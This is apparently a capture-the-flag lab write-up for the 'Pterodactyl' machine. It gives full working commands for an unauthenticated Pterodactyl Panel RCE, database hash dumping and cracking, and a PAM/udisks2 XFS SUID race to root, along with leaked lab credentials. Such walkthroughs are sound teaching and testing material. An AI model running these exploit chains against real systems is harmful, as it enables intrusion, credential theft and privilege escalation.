Machine Info

  • Name: Pterodactyl
  • IP: 10.129.14.83
  • OS: Linux (openSUSE Leap 15)
  • Difficulty: Medium
  • Key Skills: CVE-2025-49132 (Pterodactyl Panel RCE), PHP PEAR pearcmd.php Abuse, MySQL Credential Extraction, Bcrypt Hash Cracking, CVE-2025-6018 (PAM pam_env Polkit Bypass), CVE-2025-6019 (libblockdev/udisks2 XFS Resize Race Condition)

Summary

Pterodactyl is a Linux machine running openSUSE Leap 15 with a Pterodactyl Panel game server management interface behind nginx. The main page at pterodactyl.htb shows a Minecraft server landing page, while panel.pterodactyl.htb hosts the vulnerable admin panel. CVE-2025-49132 exploits a path traversal in the /locales/locale.json endpoint to invoke PHP PEAR’s pearcmd.php, writing a PHP webshell that executes as wwwrun. The panel’s database credentials (pterodactyl:PteraPanel) are leaked via the same path traversal, and a custom PHP script dumps bcrypt password hashes from the users table. Cracking the hash for phileasfogg3 yields SSH access. Privilege escalation chains two CVEs: CVE-2025-6018 abuses SUSE’s pam_env module with user_readenv=1 to fake a local console session via ~/.pam_environment, gaining allow_active polkit status. CVE-2025-6019 exploits libblockdev’s failure to apply nosuid during udisks2 filesystem resize operations - a malicious XFS image containing a SUID-root bash binary is temporarily mounted without nosuid, allowing execution as root.

Attack Chain:

Subdomain enum -> CVE-2025-49132 (PEAR RCE as wwwrun) -> DB creds leak -> bcrypt crack -> SSH as phileasfogg3 -> CVE-2025-6018 (PAM allow_active) -> CVE-2025-6019 (udisks2 XFS race) -> root

Reconnaissance

Port Scan

nmap -sC -sV -Pn --min-rate 1000 10.129.14.83

Key open ports:

Port Service Details
22 SSH OpenSSH 9.6
80 HTTP nginx 1.21.5 - “My Minecraft Server”

The main page at pterodactyl.htb shows a Minecraft community landing page called “MonitorLand” with a server address of play.pterodactyl.htb.

Subdomain Enumeration

Fuzzing the Host header reveals a hidden subdomain:

curl -sk -H "Host: panel.pterodactyl.htb" http://10.129.14.83/ | head -5
<title>Pterodactyl</title>
<meta name="csrf-token" content="...">

panel.pterodactyl.htb hosts the Pterodactyl Panel (v1.11.10).


Initial Access - CVE-2025-49132

Vulnerability Overview

Pterodactyl Panel versions up to 1.11.10 have an unauthenticated RCE vulnerability (CVSS 10.0) in the /locales/locale.json endpoint. The locale and namespace parameters are passed directly to Laravel’s translation loader without validation, enabling path traversal to include arbitrary PHP files.

Exploiting via PEAR pearcmd.php

The exploit chains path traversal with PHP PEAR’s pearcmd.php to achieve arbitrary file creation with embedded PHP code. A public PoC handles the nuances of special character handling:

git clone https://github.com/rippsec/CVE-2025-49132-PHP-PEAR.git
cd CVE-2025-49132-PHP-PEAR

Step 1: Confirm RCE

python3 poc.py -H panel.pterodactyl.htb -c "id"
uid=474(wwwrun) gid=477(www) groups=477(www)

The PoC uses ${IFS} to replace spaces in commands (since + in URLs becomes spaces and breaks PEAR’s argument parser) and http.client for raw HTTP requests to avoid URL encoding of PHP tags.

Step 2: Scan for leaked credentials

python3 poc.py -H panel.pterodactyl.htb --scan
[+] VULNERABLE - Database credentials leaked
    Host:     127.0.0.1
    Port:     3306
    Database: panel
    Username: pterodactyl
    Password: PteraPanel
[+] VULNERABLE - App configuration leaked
    App Key: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=

User Flag

python3 poc.py -H panel.pterodactyl.htb -c "cat /home/*/user.txt"
15c036c9aa9a4b960d24291b8e822fe3

Database Enumeration and SSH Access

Extracting Password Hashes

Direct MySQL commands fail through the webshell because single quotes conflict with the PHP system() wrapper. The solution is to write a PHP database dump script using base64:

# Encode the PHP DB query script
echo -n '<?php $c=new PDO("mysql:host=127.0.0.1;dbname=panel","pterodactyl","PteraPanel");$r=$c->query("SELECT username,email,password FROM users");while($row=$r->fetch()){echo implode(":",$row)."\n";}?>' | base64
# Write and execute the script on the target
python3 poc.py -H panel.pterodactyl.htb -c "echo <base64>|base64 -d>/tmp/db.php"
python3 poc.py -H panel.pterodactyl.htb -c "php /tmp/db.php"
headmonitor:[email protected]:$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
phileasfogg3:[email protected]:$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi

Cracking Bcrypt Hashes

echo 'phileasfogg3:$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi' > hashes.txt
john --wordlist=rockyou.txt hashes.txt
phileasfogg3:!QAZ2wsx

SSH Login

ssh [email protected]
# Password: !QAZ2wsx
phileasfogg3@pterodactyl:~> id
uid=1002(phileasfogg3) gid=100(users) groups=100(users)

Privilege Escalation - CVE-2025-6018 + CVE-2025-6019 Chain

CVE-2025-6018: PAM pam_env Polkit Bypass

openSUSE Leap 15 ships with user_readenv=1 enabled in PAM’s pam_env module, meaning PAM reads ~/.pam_environment on login. By injecting fake seat/VT variables, a remote SSH user tricks systemd-logind into treating the session as a local console session, granting allow_active polkit privileges.

Step 1: Write the PAM environment file

echo -e 'XDG_SEAT=seat0\nXDG_VTNR=1' > ~/.pam_environment

Step 2: Re-login via SSH to trigger PAM

exit
ssh [email protected]

Step 3: Verify active session

echo $XDG_SEAT $XDG_VTNR
loginctl show-session $(loginctl | grep phileasfogg3 | awk '{print $1}') -p Active
seat0 1
Active=yes

CVE-2025-6019: libblockdev/udisks2 XFS Resize Race Condition

With allow_active polkit status, the user can invoke udisks2 D-Bus methods. The Filesystem.Resize operation calls libblockdev’s bd_fs_xfs_resize(), which temporarily mounts the filesystem to run xfs_growfs - but critically without the nosuid flag. This creates a race window where a SUID binary on the filesystem is executable as root.

Step 1: Create XFS image with writable root directory

dd if=/dev/zero of=/tmp/evil.img bs=1M count=301
/sbin/mkfs.xfs -f /tmp/evil.img
# Make root dir world-writable via xfs_db
/usr/sbin/xfs_db -x -c 'inode 128' -c 'write core.mode 040777' /tmp/evil.img

Step 2: Mount, copy bash, unmount

udisksctl loop-setup -f /tmp/evil.img
udisksctl mount -b /dev/loop0
cp /usr/bin/bash /run/media/phileasfogg3/<uuid>/xpl
udisksctl unmount -b /dev/loop0
udisksctl loop-delete -b /dev/loop0

Step 3: Set SUID root on the binary via xfs_db

Since we cannot set SUID as a normal user, we modify the XFS inode metadata directly:

# Find the xpl binary's inode and change owner to root with SUID
/usr/sbin/xfs_db -x /tmp/evil.img \
  -c 'inode 131' \
  -c 'write core.uid 0' \
  -c 'write core.gid 0' \
  -c 'write core.mode 0104755'

Step 4: Trigger the race condition

# Set up loop device
udisksctl loop-setup -f /tmp/evil.img

# Background watcher - executes SUID binary when mount appears
while true; do
  for d in /tmp/blockdev.*; do
    if [ -x "$d/xpl" ]; then
      "$d/xpl" -p -c 'id; cat /root/root.txt'
      exit
    fi
  done
done &

# Trigger Resize via D-Bus (mounts without nosuid)
gdbus call --system \
  --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 '@a{sv} {}'
FOUND: /tmp/blockdev.81FSM3/xpl
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
2f92631e2817cded1a54d22b1385531d

Root shell achieved via euid=0(root).


Lessons Learned

  1. Pterodactyl Panel’s locale endpoint was a critical RCE vector - CVE-2025-49132 allowed unauthenticated code execution through unsanitized path traversal in the translation loader. Always validate and restrict user input to expected patterns.
  2. PHP PEAR’s pearcmd.php is a powerful post-exploitation primitive - When reachable via LFI/path traversal, it enables arbitrary file creation with embedded PHP code, turning file inclusion into RCE.
  3. Database credentials in web app configs enable lateral movement - The leaked MySQL credentials allowed extracting bcrypt hashes from the Pterodactyl user table, which led to SSH access after cracking.
  4. SUSE’s pam_env user_readenv=1 default is dangerous - CVE-2025-6018 exploits this to fake local session variables over SSH, gaining polkit privileges meant for physically present users.
  5. xfs_db enables offline SUID injection - Without root, we modified XFS inode metadata directly on the image file to set uid=0, gid=0, and the SUID bit on a bash binary.
  6. libblockdev’s missing nosuid during temporary mounts is fatal - CVE-2025-6019 shows that even brief mount windows without proper flags create exploitable race conditions, especially when combined with polkit access.